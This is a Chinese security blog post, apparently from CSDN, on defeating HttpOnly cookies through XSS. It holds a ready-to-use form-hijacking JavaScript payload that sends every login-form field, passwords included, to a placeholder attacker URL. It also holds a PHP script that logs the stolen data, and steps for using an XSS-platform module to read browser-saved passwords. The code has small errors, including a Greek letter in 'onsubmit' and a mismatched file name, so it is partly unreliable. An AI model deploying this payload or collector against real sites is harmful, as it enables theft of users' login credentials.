HTTP Only下的XSS攻击

今天继续给大家介绍渗透测试相关知识,本文主要内容是HTTP Only下的XSS攻击。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、设置HTTP Only后XSS攻击手段

在上文HTTP Only限制XSS盗取cookie中,我们介绍过,如果网站设置了HTTP Only的cookie,那么我们无法通过JavaScript脚本代码获得Cookie。但是XSS获得cookie的实质目的是能够获得用户的凭证登录系统,因此我们从这个思路出发,如果我们能够通过XSS漏洞拿到目标用户的用户名和密码,一样可以得到与获得cookie相同的结果。
我们有两种手段可以实现这一操作。一种是在用户输入用户名和密码时,通过XSS漏洞直接获得用户输入的用户名和密码。这种方式难点在于将XSS脚本代码插入到登录框中,而这种地方一般很少会存在XSS漏洞点。另一种是如果用户将用户名和密码存储在了浏览器中,控制XSS拿到用户在浏览器中的用户名和密码。
接下来,我们就对这两个思路进行验证。

二、表单劫持绕过HTTP Only获取用户名密码

如果我们想用表单劫持绕过HTTP Only,那么我们需要把JavaScript脚本插入到系统登录框中。这当然是一个比较麻烦的事情,因为在通常情况下,系统的登录框没有允许类似留言板这样的可以交互的点。
这一功能当然可以使用一些XSS平台来实现,但是很遗憾的是,我没有找到存在这个功能并且这个功能还使用正常的XSS平台。因此,我不得不手动简单的写了一个JavaScript脚本和PHP脚本,用于展示这个功能。
JavaScript脚本如下所示:

var f=document.forms['【form的name】'];
if(f==undefined)
{
        f=document.getElementById('');
}
var func=f.onsubmit;
f.οnsubmit=function(event)
{
	var str='';
	for(var i=0;i<f.elements.length;i++)
	{
		str+=f.elements[i].name+':'+f.elements[i].value+'||';
	}
	str=str.substr(0,str.length-2);
	var img=new Image();
	img.src='http://【你的PHP文件URL】?data='+escape(str)+'&url='+escape(location.href);
	func(event);
	return true;
}

在上述脚本中,var f=document.forms[‘【form的name】’];用于获取表单名称,后面的代码用于向指定的ULRL处发送信息。PHP脚本如下所示:

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['data'];
$url = $_GET['url'];
$time = gmdate("H:i:s",time()+8*3600);
$file = "output.txt" ;
$fp=fopen ("utput.txt","a")  ;
$txt= "$ip"."----"."$time"."----"."$cookie"."----"."$url"."\n";
fputs($fp,$txt);
?>

完成PHP网站搭建后,我们将JavaScript代码插入到登录框页面中,如下所示:
在这里插入图片描述
当我们登录后,就可以看到劫持的表单信息了,如下所示:
在这里插入图片描述

三、读取浏览器记住的明文密码

除了进行上述表单劫持的方法外,我们还可以读取浏览器记住的明文密码。当前的浏览器一般都有这个功能,当登录系统时,会询问是否记住用户名和密码。这也是为什么我们在登录网站时,浏览器会帮助我们自动的输入这些用户名和密码。然而问题在于,对于有些安全意识比较高的用户来说,如果不开启这项功能,即不让浏览器存储用户名和密码,那么我们就无法使用这种方式。
使用这种方式,我们还是借助XSS平台的相关模块,模块介绍如下所示:
在这里插入图片描述
使用这个模块我们要输入要读取的用户名和密码框中的type、name和id三个信息。wordpress网站这三个信息如下所示:
在这里插入图片描述
我们根据这三个信息来配置该模块的参数,如下所示:
在这里插入图片描述
配置完成后,我们就可以获取登录的用户名和密码了,结果如下所示:
在这里插入图片描述
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

永远是少年啊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值